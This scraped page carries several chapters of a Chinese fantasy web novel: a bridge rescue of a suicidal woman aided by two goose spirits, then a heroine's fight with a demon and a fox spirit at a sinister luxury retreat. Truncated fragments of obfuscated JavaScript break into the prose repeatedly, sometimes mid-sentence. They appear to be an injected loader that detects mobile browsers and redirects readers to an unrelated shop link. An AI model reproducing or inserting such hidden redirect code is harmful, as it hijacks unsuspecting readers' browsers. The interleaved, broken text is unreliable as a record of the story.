l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713570|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她的手:“我来我来!哪能让你给钱。我能打折!胖子,给我把这盘菜打包。” · · 晚上,陈全领着两只天鹅在大桥上慢悠悠地走着。 他在前面走,两只鹅在后面小碎步紧跟。 黑鹅:“真倒霉,早知道我昨天就去阳澄湖了,是螃蟹不好吃,还是吓小孩不好玩!被抓来干这苦差事。” 白鹅:“呵,你是自己懒,我呢,更惨,还在珍珠泉修炼,被那只死老虎一把抓来,我说我不去,她非要要我去,还说就给我两条路,要么过来干活,要么进铁锅跟土豆香菜双宿双飞,早入轮回。” “哥,不是我说啊,你以前连武曲星的鸡鸡都敢啄,怎么现在这么胆小?难道,你怕她?她不过是一只虎妖,连伥鬼都没有一只,怕什么。” 白鹅一翅膀抽在黑鹅的头上:“你懂个屁,不过是一只虎妖?你没听说,今天她从妖管局出来的时候,是谁给她开的门。” “谁?”黑天鹅愣愣地问道。 白鹅一字一顿:“妖管局的局长安正燚!不仅开门,还满脸笑容,像见着亲爹一样。” 黑鹅哼哼两声:“以前好像有谁跟我说,什么威武不能屈,富贵不能淫,局长什么的……” 白鹅踢了它一脚:“我才不怕局长!你没听她说吗,要把我跟香菜炖一起,这谁能受得了!香菜那种邪恶的东西,我跟它生不共戴天,死不同穴!” 黑鹅伸出翅膀揉揉屁股:“……行吧……反正,那个女人说我们只要管他今晚平安就行,明天咱们就可以回家了。” 想到明天就可以离职,两只鹅的步伐都充满了快乐。 忽然,走在他们前面的陈全加快了脚步,前方十米的地方,有一个年轻女人,骑在栏杆上,用力抹眼泪。 在她身后三米远的地方,有一个年轻的男人语气不善:“又来这套是吧,你想跳就跳啊,还打电话叫我来,干嘛?找我帮你收尸啊?!” 女人的脸色越来越难看:“是你逼我的!” “切~”男人发出不屑的一声,果断转身离开。 女人绝望地看着男人离去的身影,她站起身,身形摇摇欲坠:“我要你后悔一辈子!” 男人头也没回。 “你的外卖到了!那个男的给你点的!”陈全举着打包盒冲过去。 女人一愣。 13. 第 13 章 陈全的一声吆喝,让女人短暂地愣了一下,满怀期待地看着男人的背影。 可是,那个男人连头都没有回,就连步速都没有减慢一点点。 “我就知道……怎么可能……”女人决绝地转过身,越过栏杆往下纵身一跃。 此时,陈全离她还有一米远的距离,他见状不好,奋力飞扑过去,左手碰着了女人的后背。 他下意识拼尽全力抓紧那一块布料,整个人被下坠的重力也拖出栏杆,他的右手抓着桥栏杆,两个人的体重让这五十多岁的人感到无比吃力,左右胳膊的关节都同时发出了一声不堪重负的声响。 “别动……”陈全勉强从牙缝里挤出两个字。 “你别管我,让我死!”女人挥动着胳膊和腿,下面就是漩涡与激流,掉下去后,别说还能捡回一条命,能捞回完整的尸体已经算运气好。 陈全不是第一次遇到执意想死的人了,只是这次他自身难保,实在也说不出什么宽慰的话,全身的力气,都用在两条胳膊上。 他看见白天鹅张开翅膀,从桥栏杆上翩然飞下,黑天鹅紧随其后。 白天鹅的嘴里叼着一截绳圈,绳子的另一头不知系在什么地方,它熟练地将绳圈从陈全的脚下往上套在腰间。 那绳圈除了圈本身之外,还有三根长绳垂着。 黑天鹅,熟练地将一根绳子从陈全腿间穿过,再系在背后的绳圈上。 白天鹅则将另外两根绳子甩过过陈全的肩头,也同样扣在背后的绳圈上。 即使陈全失去平衡,不管是头冲下,还是失去力气,双手举过头顶。绳圈都不会从他的身上滑落。 属于非常标准的救生带系法,就连陈全都是跟水上救援队救过几次人之后才学的。 眼前这两只鹅却如此熟练,现在陈全终于相信,李寅寅说的“经过训练”是真的。 被他抓在手中的女人不知是晕过去了,还是放弃挣扎,一动不动。 陈全还是得努力拽着她,没有多余的力气大声叫嚷。 此时是凌晨两点,桥面上的车都寥寥无几,行人更是一个也没有。 大桥上的巡逻警察刚刚离开,陈全不知道自己的体力还能不能支持到下一次巡逻,只能坚持下去。 大桥的岗哨,守桥的武警以为自己眼花了,他看见一只黑天鹅向自己走来,然后,像人挥胳膊那样挥动着翅膀,好像叫他跟着一起走。 那鹅自己走了两步,还回头看看,发现他没有跟上来,又跑过去,叼着他的裤脚,就往外拖。 年轻的哨兵今年刚满十八岁,报名参军就是家里人嫌他胆子太小,要他到部队里历练历练。 当他看见黑天鹅的时候,老兵跟他讲过的鬼故事,还有家乡老人们喜欢讲的吓小孩的故事,什么水鬼找替身、冤灵报信、厉鬼索魂统统涌上心头。 他全身颤抖着拨通了队里的电话:“班……班长,我我我看见一只好大的鹅……” 陈全确定自己不会掉下去之后,双手死死抱着女人的腰。 时间一分一秒的过去,他的胳膊越来越酸痛,他的年纪不小了,也没有天天练力气,现在早已经超过了他的极限。 陈全额头上渗出大颗的汗珠,划过眉毛和睫毛,落到眼睛里,很难受。 已经僵硬的手指慢慢松开,陈全绝望地闭上眼睛。 他不是没有亲眼见过生命在眼前消逝,每次他都很痛苦,很自责。 觉得是自己来晚了,没救着人。 是自己嘴笨,没劝得下来。 真的不行了……抓不住了…… 对不起……我真的尽力了…… 就在陈全将要松手的瞬间,桥上传来年轻小伙子们的声音:“这边有人!” “快!!!” 陈全被拉上来之后,不顾自己酸痛到几乎没有知觉的胳膊,大声说:“快救她,她晕过去了。” 队医犹犹豫豫地回答:“我刚检查过,她好像是睡着了。” 跳江自杀的人,要么是歇斯底里的叫嚷,要么是心如死灰的睁着眼睛,要么是被死亡的恐惧吓得全身发抖。 总之,不应该是呼吸平稳,脸上甚至还带着笑容的模样。 女人慢慢睁开眼,被围着她一圈的大小伙子们吓了一大跳。 陈全忙说:“姑娘,什么事都没有自己的性命重要,为了那么一个男人,不值得啊。” 周围人应和道:“就是就是。” “我想通了,谢谢你们。”年轻女人感激地向他们欠了欠身,转身向桥下跑去。 陈全,包括出来救人的武警们都有些不可思议。 以前不是没有被救下来的人决定开始新生活,但起码得有一个情绪铺垫吧?得有一个循序渐进的过程吧? 这就……想通了? 而且还如此开心? 不管怎么样,好歹是救人一命成功,也没有被救下来的人骂多管闲事,甚至都不需要做心理安慰的工作。 大家都很高兴,除了那位十八岁的小同志。 他打电话给班长求助,黑天鹅以为他就是不想跟自己去,于是气急败坏的飞扑到他的身上,用翅膀凶猛地扇他的腿,用嘴强悍地啄他屁股。 最后要不是班长带着同志们赶到,黑天鹅就要飞到他头顶进行强力输出。 得知黑白两只鹅都是陈全养的之后,小同志半张着嘴,十分沮丧:“糟了,我刚才跟炊事班的乔班长说,让他准备一个大铁锅,明天可以吃大鹅……” ·

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713571|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > · 李寅寅来询问天鹅试用心得的时候,陈全简直把两只鹅夸得好像天上有,地下无的神鹅。 “你们到底是怎么训练的,为什么它们打绳结打的那么专业?听说,那是什么……啊对,水手结。” 李寅寅微笑:“培训方案是我们店的商业秘密,要是人人都知道,我不就要饿死了嘛。” “嘿,不问,不问。昨天那个姑娘,也是奇怪……” 他将昨天那个轻生女孩的异常反应告诉李寅寅,李寅寅不以为意:“她可能想到什么高兴的事了。” 正常人都不会理解那个女孩,陈全也没有非得出一个有用的答案。 不过,李寅寅说的是真话。 那个轻生的女孩在昏迷的时候,经历了一场美妙的幻梦。 在梦里,她擦干眼泪,转头努力工作,穿白西装的投资人温文尔雅,穿黑西装的霸总小叔替她出头撑腰。 就算是梦醒了,她也忍不住笑出声。 这么一对比,自己以前真是见识太少了,才会被那个只会用嘴说甜言蜜语的渣男前男友哄得团团转,以为自己是个垃圾,除了前男友,不会有人要自己。 李寅寅与黑白两鹅约定的时间是一天,她打算把鹅收回来。 之前打死也不肯去的两只天鹅,现在变成打死也不肯回。 毕竟自己修炼十年,都不如跟着这个功德深厚的人过。 昨天晚上给陈全身上套个绳圈,修为比他们过去一年攒下的都多。 天鹅永不为奴,除非保得仙箓! 救人的人很高兴、被救的人很高兴、救人的鹅也很高兴。 网上的喷子不高兴。 新闻播出桥上监控摄像头拍下的陈全救人过程。 喷子们骂得可难听了,说他抱着年轻女人的时候动手动脚,“小手不老实”“这胸摸起来可爽了”“贴这么紧,是起反应了吧”。 李寅寅再次见到他的时候,他已经看到那些辱骂的内容,他很难过:“我什么都没想,当时我只想着不能让她掉下去,我根本就没注意我抓到什么了。” 李寅寅正是为这事而来,她也知道那些贴子是谁发的。 她当即表示:“我帮你骂回去。” 陈全摇头:“不用了,太多这样的人,哪能一个个骂过来?我自己放下就行了。” “你真能放下?” “唉,很难,不过今天有人介绍一个地方让我去,说那里的人能开导开导我……咳,其实我也不是要他们开导,就是想学习一下他们是怎么开导别人的,如果我能学会,也许以后能多劝几个人。” 李寅寅装作不经意地问道:“什么地方啊,这么厉害?” “福聚心灵精舍。” 14. 第 14 章 进精舍听他们开示和疏导是不要钱的,甚至还管吃管住。 跟陈全做的事一样。 不过,看网上发的照片,吃的东西和住的地方比陈全的“心灵驿站”高级多了。 每天三顿都是自有农场特供,米其林餐厅大厨倾情制作,每道菜都像一件艺术品。 住的地方装修档次不输五星级酒店。 还有一个好大的花园,奇花异草争奇斗艳。 草坪上有马。 树荫下有狗,树杈上有猫。 花园中间是一个清澈见底的大池塘,水里有锦鲤有鸭有鹅。 符合条件的人可以在里面白吃白喝白住到他们想走为止。 所谓的条件,就是精舍的人设计的一套积分制度,有整整三页A4纸。 李寅寅随手抽出一张《特别优先》,第一行就是对社会有重大贡献,分为国家认定、省级认定、市级认定、区级认定四种。 像陈全这种,就属于市级认定,是倒数第二档,不仅能直接跳过其他审核条款,还能带一个不符合条件的人一同入住。 “五一奖章、三八红旗手、青年突击手全国才那么几个,你们怎么不把获得诺贝尔奖、奥运会前三给写上?”李寅寅觉得他们是想蹭名人热度。 “您好,有的。”接待小姐微笑着指着其中一行。 李寅寅将文件合上:“我是和陈全一起来的,可以直接办登记吗?” 接待小姐从文件盒中抽出几张纸:“如果您是陈先生的同伴,我们可以放低要求,不过,也有一点点需要达到的条件。” “什么条件?” 接待小姐对着纸开始念:“请问您是上市公司高管吗?” “不是。” “请问您是已注册社会组织的主要负责人吗?” “不是。” “学校老师?” “不是。” …… 念了十几条,李寅寅只有否定答案。 从那堆问题里,李寅寅猜出这里的条件:必须是个在社会上有点影响力的,哪怕是小学老师,手里也有几十个孩子呢。 “全职太太是不是这辈子就进不了你们这了?”李寅寅很好奇 接待小姐依旧微笑:“可以的可以的,如果是做内容分享的自媒体运营,围脖粉丝超二十万,红薯粉丝超一万,也可以的。或者,是私域流量运营者,比如是500人及以上大群的管理,也没有问题……不知您是哪一种?” 李寅寅扬起眉毛:“在家买菜、烧饭、带孩子、伺候老公,也是很辛苦的啊。” 接待小姐微笑摇头:“抱歉,我们的服务主要针对直接参与社会工作的人士。” 李寅寅问道:“我开了一个宠物店,我们店的客户有……反正还挺多,算吗?” 她打开宠物店的官方宣传号,真实关注者有九千多个,负责运营的薛姗说人太少了,好丢脸,遂用介老头的钱,给账号买了二十几万粉丝。 而且是会点赞会转发的高档僵尸粉。 当初李寅寅觉得花钱买这种虚热闹毫无价值,现在,她感受到了意义……同时也理解为什么那么多明星工作室也在干这事。 接待小姐热情地为李寅寅办理了登记手续,派车将李寅寅和陈全送往精舍所在地。 不得不说,人不如鹅。 李寅寅还得自证是个对社会有用的人,才能进门。 黑白两只天鹅,就这么以宠物的身份跟着上车了。 车,是一辆长长的豪华车,陈全只在别人的嘴里听过这个品牌。 司机,穿燕尾服打领结,双手戴着白手套,特英俊一小帅哥,除了脸色苍白,没说过一句话之外,一切都很好。 接待小姐还特别叮嘱:“我们公司对安全驾驶非常注意,司机在驾驶过程中不允许与乘客说话,如果两位有什么要求,或者想了解的,可以随时通过车上视频与我联系。” 陈全在网上看过这车的价格,那一大堆零,是他想都不敢想的数字。 他紧张地坐在位置上,绑着安全带,一动也不敢动,生怕自己不小心刮破了座椅上的真皮,到时候把自己卖了都赔不起。 车里空调温度打得异常低,陈全忍不住抱着两只天鹅取暖。 可是司机却好像浑然不觉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713572|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈全首先反思了自己,自己穿着短袖短裤,人司机那一身行头,大热天的,穿着一层一层的礼服,手上都裹着一层手套,能不热吗? “你冷吗?要不把空调温度打高一点?”李寅寅问道。 陈全紧紧抱着鹅:“还好,别动空调了,司机师傅会热的。” “热不着他。”李寅寅抬手按下车座旁的按钮,一块黑色的挡板缓缓升起来,将司机座和后排完全隔开。 这道档板隔绝视线和声音,是小说里霸总们在车上搞黄色的必备之物。 现在仅用于分隔温室与冷库。 车子离市区越来越远,路过一个名为花神庙的地铁站之后,便转下了大路,走上了乡间的窄道。 又开了四十多分钟,车才停下。 眼前是一座与广告里一模一样的豪华别墅区。 别墅与别墅之间,都有一人多高的果树挡住,能看到有人在活动,但又看不真切。 有同样穿着燕尾服的年轻男子上前拉开车门:“欢迎陈先生和李小姐大驾光临。” 一下车,两个穿着旗袍的年轻少女捧着冰凉的毛巾、果汁笑脸相迎。 只是她们的笑容与司机的笑容高度相似,像是统一定制。 陈全小声跟李寅寅感叹:“以前我听人说空姐培训的时候,就是咬着筷子笑,一定要露出八颗牙,这样笑起来才能统一。我还以为他是吹牛,没想到是真的?” 李寅寅没说话,抬手拿起杯子,将果汁一口喝干。 陈全以为她是在嫌弃自己见识太少,便悻悻地拿起杯子,打算喝一口来掩饰尴尬。 “你不能喝。”李寅寅劈手夺过杯子,放回托盘。 “甜得很,你年纪一大把了,医生说了,要注意控制血糖,一会回屋烧白开水喝。哎,这花真漂亮,我先拍个照。” 李寅寅说着,就打开了手机,但是她没有打开照相机,而是打开了手电筒。 陈全不明所以,刚想说点什么,就看见李寅寅冲他使了个眼色,示意他看脚下。 手电筒的光,照在迎宾小姐纤长漂亮的腿上。 地上没有影子。 15. 第 15 章 “挺……好看?”陈全很困惑,不明白李寅寅为什么要让他看迎宾小姐的腿。 就在刚才一瞬间,屋子周围所有的照明灯都打开了,那些灯排列有序,刚好能消除这片区域里的阴影,如同医院做手术时用的无影灯。 李寅寅收起手机笑笑:“美人美景,是很好看。” 她像一个好奇的游客,东张西望,想看看刚才同时开灯的操作,是庄园内的某种自动触发机关,还是有人一直在监视。 难道是某种符咒的功效? 穿着燕尾服的年轻男子上前欠了欠身:“您好,我是这里的管家彭阳,二位可以叫我小彭,请问两位是想要住同一个房间,还是分开?” 李寅寅:“分开。” 彭阳叫了一个穿着制服的中年女人过来:“刘姨,你带李小姐去房间。” 李寅寅以为只是房间分开,没想到分得这么开,两人的房间还是在同一栋楼里,但是进的门、上的电梯都不一样,李寅寅的房间在东南角,陈全的房间在西南角,中间通过走廊相通,如果不想见面,两人可以永远见不着。 屋子里的现代化设施一应俱全,洗手间里的陈设和物品都偏向女性便利的设计,光是浴室的镜子,就有防雾、自动补光、局部放大、彩妆配色建议等等一堆附加功能。 所有的家居用品都在同一个智能网络,只要愿意,可以躺在床上,由系统协助完成吃饭、上厕所、洗澡,还有去花园转一圈的操作。 李寅寅看着能把人从床上举起来,自动穿衣服的机械臂:“这么一套智能家居,比全部由人工来处理要贵很多吧。” 刘姨脸上带着标准笑容回答道:“是的,不过人工服务总会有疏漏的地方,机器可以确保按照标准程序完成所有指令。而且,很多人也不愿意被外人看到自己的隐私,所以,我们选择用机器替代人工。” “那不是很无聊嘛,这边不能跟邻居串门。”李寅寅向窗外看了一眼,是个有喷泉的小花园,喷泉旁有一只小松鼠在喝水。 宁静、祥和,听不见一点人类说话的声音。 “听说想住到你们这里的人排队排到三年以后了,怎么一点声音都没有?陈全的房间离我有多远?怎么也听不到他房间的动静?” 刘姨微笑:“我们的房子隔音材料用的都是最好的设备,现在外面的噪音太多了,很多人睡不好觉,失眠,如果太安静您不习惯的话,我们提供多种安眠白噪音,配合4D特效。” 白噪音不仅是音,还有影像,如果选择下雨,窗户外面就会真的出现下雨的场景,把手伸向窗外,还能接到雨点。 李寅寅表示对房间非常满意:“不错,我去看看陈全。” 陈全还在房间里听彭阳介绍屋里的设施,他感叹道:“活了大半辈子,今天算是开了眼界了。” “像为社会做出卓越贡献的人,本来就应该享受这样的待遇。”彭阳微笑道,“如果您饿了,餐厅随时都可以点菜。” 见李寅寅来了,陈全问了几句,然后问:“我们先去吃饭吧,今天中午都没来得及吃,真有点饿了。” · · 刚才迎宾小姐手里捧着的果汁确实没有问题,李寅寅便与他一同去餐厅了。 一路上,李寅寅确定眼前的一切都是真实存在的东西,她有点想不明白: 对于稍有点法力的人来说,绝对可以做到让人睡在露天,都以为自己住在皇宫里。 不然也不能有那么多“天亮之后,XX发现自己竟躺在荒郊野岭”的故事。 重点是幻术比真的盖个房子,要少操很多心。 想想一个能呼风唤雨的大妖,夹着小包跑土地局搞地皮,跑住建部,跑工商税务、跑消防城管……这事比打个响指,凭空变出大房子要魔幻多了。 李寅寅猜测,精舍主人说不定真的是娄金狗,做为正神属下,他不能干坏事,所以,才要费劲巴拉的折腾。 但是那两个没影子的迎宾小姐又是怎么回事? 那两个绝对不是人,也不是妖仙魔怪一类。 也许是式神。 娄金狗什么时候学会驱役式神的?以前他可没这手艺。 也许是娄金狗跟别的什么东西合作了? 正在李寅寅百思不得其解之时,在大厅的右侧,响起了一个苍老的声音,他非常激动:“……我一辈子的心血啊,都让他们给卖了,我还害了我的学生……我怎么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713573|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞎了眼,没看出来……” 李寅寅循声望去,看见在桌边坐着一个白发苍苍的老人,戴着厚如酒瓶底的眼镜片,他的背有些佝偻,全身透着一股书卷气,不像有点不满意就大声吼,以为全世界都按闹分配的那种人。 陈全放下手里的筷子,也向那里张望,眼里满是忧虑:“他很伤心,我得去看看。” 蹲在桌下的两只天鹅双眼放光,功德来了! 还没等陈全站起来,蹲在桌下的白天鹅就“一鹅当先”的冲了出去,黑天鹅生怕被它抢了先,张开翅膀想要起飞,从空中超车,没想到拍打了两下翅膀,居然没飞起来,急得它迈着小碎步,扭着屁股,一摇三晃向前追。 两鹅像炮弹一样冲了过去,把刚刚还沉浸在悲伤中的老人吓了一跳,他侧过头,看见两只伸得长长的鹅脑袋看着自己,怔了怔:“厨房的鹅跑出来了?” “不好意思,这是我的鹅。”陈全赶过来,陪着笑脸。 老人“哦”了一声,便扭过头,刚才他的情绪太激动了,眼眶泛红,眼角有泪,他不想让人看见自己这模样。 在老人身边坐着一个穿着精舍制服的女职员,她长得很普通,但气质温和沉静,很容易与人建立信任,重点是,她是有灵魂的生物,跟那两个没影子的迎宾小姐不一样。 老人就是在跟她说话。 刚进门的时候,李寅寅没感觉到什么异样。 现在她看见老人身上有一种强烈的怨气。 过去她曾经遇到过一个全家被灭门的男人,他提刀去找仇人的时候,身上的怨气也还只是红色的,而这位老人身上的怨气,已经是暗紫色了。 他是真的有大功德,一生心思赤诚,不曾做过亏心事。 然而,所谓脱粉回踩最为致命,这种人一旦信念崩塌,会比普通人还要极端。 如果这股怨气被有心人利用,就不止能用来撞铃了。 还能激活某些太古封印,复活一些不该复活的,唤醒一些不该唤醒的。 过去人神共居,有异兽,也有能射日的人。 如今如果再放出什么大家伙出来…… 李寅寅想了想,打开百度,搜索:东风41能炸死妖怪吗? 16. 第 16 章 老人努力稳住情绪,表面看起来已经冷静下来,身上却依旧向外散发着紫色的怨气,紫得发黑,丝丝缕缕的向周围散开,落在周围人的身上,像落在水中的雨丝,一下子就钻进去不见了。 “听老哥的意思,也是受委屈了?”陈全开口。 他拉开椅子坐下,一双眼睛死死盯着老人:“这世道,就是杀人放火金腰带,修桥补路无尸骸,好人啊,做不得,家人朋友也都一样,最得防着的就是他们……” “你说得没错!”老人像遇到了知己。 两人你一言我一语,越说越激动,周围原本正在安静吃饭的人也围了过来,一起控诉起了自己遇到的不公。 活在世上,总会有需要吐槽抱怨的事,但是他们现在已经不是单纯的发泄一下,已经从自己遇到的某个人或是某个组织,上升到了“人性就是这样,不如毁灭算了。” 紫黑色的气好像会传染一样,落在每个人的身上,这些人围在一起,眼底泛着紫光,面色潮红,或是激动或是悲伤,仿佛下一秒就要出去炸了地球。 整个屋子里,只有李寅寅与坐在老人身旁的精舍女员工身上干干净净,不受怨气影响。 蹲在桌下的两只天鹅慌了,它们俩图的是将来能飞升成仙,修的是正道,如此重的怨气对它们来说,等于毒药。 它们刚才怎么欢天喜地狂奔过来,现在就怎么惊慌失措狂奔出去,缩在李寅寅的身后。 “你真有意思。”精舍女职员的目光落在李寅寅的脸上,她站起身,慢慢向李寅寅走来。 “你也不是人吧?化成人形而没有被彭阳发现,修为很不错啊。”她活动了一下双手手腕,手背上缓缓伸出长长的森森骨爪。 她很笃定李寅寅不是她的对手。 神界在绝地天通之时便已经断开与人间的联系。 仙界在几百年前也悄无声息。 如果是来自修罗道的魔,根本不屑于化成人形悄悄潜入,谁敢不顺他们的意,他们会直接让对方神形俱灭。 如果是大妖,负责镇守大门的彭阳不可能一点感觉都没有。 两只修行正法的鹅精死死抱着她的大腿,说明李寅寅一定也是修行正法的。 排除一切不可能,再加入一点点的推理,她坚定地认为,李寅寅是仙界未断之前,某位仙人或是他们的坐骑宠物在人间留下种,俗称“仙二代”。 她曾经遇到过一个,自认为是仙人,仗着自身血脉里带的那一点不畏业障恶气的天赋,正义感爆棚,整天多管闲事。 然后,就遇到了她。 引以为豪的仙人之血成为滋养她的养分,从此消失在天地之间。 如果能再吃一次仙人血,她兴许就能突破境界,脱除妖形,到时候,也不必在这里做小伏低,听人使唤。 想到这,她扬起唇角,露出和善的微笑:“偷偷摸摸进来,也太失礼了,趁早报上名来,也好在万仙冢帮你留个名。” 李寅寅笑着摇头:“啧,看来你在地下待太久了,不知道叫人报出名字之前,先报自己的名字才是合乎礼仪的吧?无伤。” 只要未脱妖身,妖物原形的要害,就是他们最脆弱的地方,如蛇的七寸,狼的腰,因此,妖物最忌讳被认出真身。 无伤的真身被李寅寅一语道破,她变了脸色,身形快到只能看见残影,右手骨爪撕破空气,直取李寅寅的心脏。 李寅寅的身体微转,便已紧贴在无伤身侧,轻描淡写地抬起手在她肩头一拍,无伤的肩骨发出清脆的骨裂声,举着的右手立时便软垂下来。 就在这一瞬间,无伤侧身,以左爪直取李寅寅的咽喉,李寅寅向后退了半步。 不料这是虚招,无伤伸手握住自己的右臂,齐根扯断。 断臂化为一柄骨刀,屋内浓重的怨气,好像被吸住一般,源源不断钻进骨刀之中,不多时,惨白色的骨刀便化做暗紫色,并隐约笼罩着一层黑光。 李寅寅不以为意,指了指她血肉模糊的肩头:“不顺便让胳膊长出来吗?对称一点,不然看着不舒服。” 无伤冷哼一声:“你不舒服,我就舒服了!” 说话间,骨刀挟劲风而来,自李寅寅的头顶重重劈下。 就连散仙也无法对抗注入生魂怨气的骨刀,更何况是手无寸铁的仙二代,只要李寅寅被划破一点皮,她就会失去反抗能力。 无伤迫不及待想看看她是怎么痛苦地倒在地上,如果她清醒地看到自己的身体被一点一点的吃掉,会不会崩溃惨叫? 傲慢的仙人血脉在他们一向看不起的妖怪面前哭叫,实在是太有意思了。 整间屋子里的怨气,像是被骨刀引领,紧紧凝聚在刀锋之后,如同慧星拖着的长尾。 李寅寅好像被吓傻了,她竟然站在原地一动不动,刀刃已经碰到了她的头发。 赢了!无伤心里一松。 然而,还没有等她笑出来,却发现,骨刀再也动不了一分。 刀刃被两根手指夹住了。 就这么轻轻的夹着,李寅寅神色轻松,似乎一点力气都没有出。 “咔咔咔……”刀身不住震颤,瞬间布满了蛛网般的裂痕,紧接着便化做无数细小碎片,掉落在地。 无伤不可置信地瞪大眼睛,这把以她自身血肉为形,又注入满室大功德者的怨气而成的骨刀,就这么碎了?! “架势摆这么足,我还以为有多厉害呢,真是让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713574|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失望。”李寅寅很遗憾。 无伤毫不犹豫,干脆利落地跪在李寅寅面前:“只要您饶我一命,让我干什么我就干什么。” 鉴于前面无伤那么端着装逼,李寅寅本以为不管怎么样,她也得挣扎挣扎,说几句特别有志气的话。万万没想到,她是一点偶像包袱都没有。 认怂快是好事,节省大家时间。 李寅寅问:“你们收集这么重的怨气,是想做什么?” “尊上想以大德之人的怨气打开幽魔道,修成魔身。” 李寅寅追问:“尊上是谁?” 无伤欲言又止,表情纠结:“这里四处都有尊上的神识,如果提到他的名字,或是在这里的东西上写下来,他就会知道,要是他知道我出卖了他,我会死无葬身之地。” 李寅寅指着窗外,体贴地问道:“想要葬身之地还不容易?窗户下面有朵小黄花,我觉得很适合你,要不,一会儿就埋那?” “别别别。”无伤吓得连连摇头。 她东张西望一番,然后压低声音:“我可以写在你手上。” 李寅寅大方地伸出手,让她写。 横、竖、撇、捺……无伤用左手,艰难地一点一点地写着。 前七笔组成一个“巫”字,但是这个字还没完,以“巫”为偏旁的字不算很多,李寅寅好奇地看着,想知道到底是哪个字。 忽然,她下腹一凉,有什么锐利的东西刺了进去。 李寅寅低下头,无伤不知什么时候长出来的右手,尖利的骨爪深深刺进了她的身体。 “去死吧!”无伤抬起头,满怀怨恨地瞪着李寅寅。 下腹,是丹田所在之处。 仙有金丹,妖有妖丹,是仙与妖的力量根本。 内丹若毁,无论是仙还是妖,都会元气大伤,任人宰割。 无伤将全身妖力凝聚于新生的右手,这一击就算是散仙金丹,也必会被击成碎片。 节节破碎的声音在无伤的耳边响起,同时响起的还有李寅寅的声音:“真可惜,我没有内丹。” 无伤的尸体重重摔在地上。 虽然没有内丹,但是她也没有刀枪不入的法力,肚子上被戳了一个贯穿伤,还是会痛、会流血,得处理一下。 她环顾四周,黑白两只天鹅也不知道跑去了哪里,不过想来它们一定是安全的。 无伤过度抽取怨气,用来形成新的手臂。 此时骂天骂地的人们横七竖八躺了一地,睡得很香,屋里干干净净,一丝怨气都没剩。 李寅寅捂着伤口,正要离去,忽然看见厨房那里站着一个男人。 他左手拎着黑天鹅,右手拎着白天鹅,冲着李寅寅笑。 17. 第 17 章 男人头戴一顶高高的白色厨师帽,身上穿着白色的制服,围着一条黑色的围裙。 相貌俊朗斯文,眼睛的尾部线条微微上挑,身材颀长清瘦,没有什么攻击性,让人一见便会心生亲近。 李寅寅笑吟吟地望着他:“狐族我见过不少,你这品种倒是少见,可惜了……” 她漫不经心地在桌上拿起一支筷子。 “别紧张,我不是来找你麻烦的。”男人俯身将两只鹅放在地上,微笑地看着它俩拍打着翅膀跑向陈全。 他站起身,摊开双手以示自己没有任何武器。 然后,一步步走向李寅寅,声音轻柔:“你受伤了,一定很痛吧,我可以帮你包扎一下。” 他的脸上始终带着笑意,黑色眼眸深处慢慢泛出一道碧绿色的光。 李寅寅一动不动,怔怔地看着他的脸,直到他走近…… “啪!” “咚!” “哐啷!” 李寅寅抬手挡住他的胳膊,紧接着一脚踹在他的胸口。 他的后背重重砸在墙上,整个人向前扑倒在地,他艰难地想用手臂撑起身体,却被一脚踩回地上。 李寅寅居高临下地看着他,冷笑:“你家里人没告诉你,在不清楚对方是谁之前,不要随便使用媚术吗?小狐狸?” 男人张了张口,似乎想说什么,却只能发出“嗬嗬”的声音。 “没关系,这次就算了,下辈子注意一点。”李寅寅蹲下身子,手中的筷子点在他颈侧跳动的动脉上。 “他是好人!” “别杀他!” 两只天鹅挥动着翅膀,扑腾着赶过来。 “你们中媚术了?”李寅寅疑惑地盯着两只鹅的小圆眼睛,一片纯洁清澈,醒着。 